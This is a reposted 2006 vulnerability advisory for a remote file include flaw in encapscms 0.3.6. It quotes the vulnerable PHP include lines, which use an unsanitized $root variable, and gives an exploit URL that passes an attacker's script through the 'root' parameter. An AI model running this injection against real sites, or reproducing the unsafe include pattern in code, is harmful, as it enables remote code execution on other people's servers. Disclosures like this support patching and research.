encapscms 0.3.6 - Remote File Include by Firewall

2006.11.15

Credit: Firewall

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-5895

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

########################### Firewall ###########################
encapscms 0.3.6 - Remote File Include by Firewall
BuG FounD by Firewall
# Application Affect:
encapscms 0.3.6
# Sorce Code:
http://scripts.ringsworld.com/content-management/encapscms-0.3.6.zip
# Code:
include_once($root."core/Config.php");
include_once($root."core/DB_sql.php");
include_once($root."core/BlogsCats.php");
include_once($root."core/Block.php");
include_once($root."core/Block_sub.php");
include_once($root."core/Gallery.php");
include_once($root."core/Pager.php");
include_once($root."core/GalleryCategory.php");
include_once($root."core/Misc.php");
# ExPloit :
http://www.site.com/encapscms_PATH/core/core.php?root=[Evil Script]
#Contact: Firewall1954 (at) hotmail (dot) com [email concealed]
# GrEatZ :
|Her0|slackwaren|Ozzmadark|slappter|ArCaX-ATH| |Cvir.System|napster|saok|Zlevyn|Azrael|CyberAlexis| |NitroNet|Matasanos|SysRoot|ANtrAX|FaLENcE|Mnox|Xneo.System|
"El ceviche y El pisco es peruno y jamas podran igual su calidad" - "Viva el Peru"
########################### Firewall ###########################

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

encapscms 0.3.6 - Remote File Include by Firewall

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.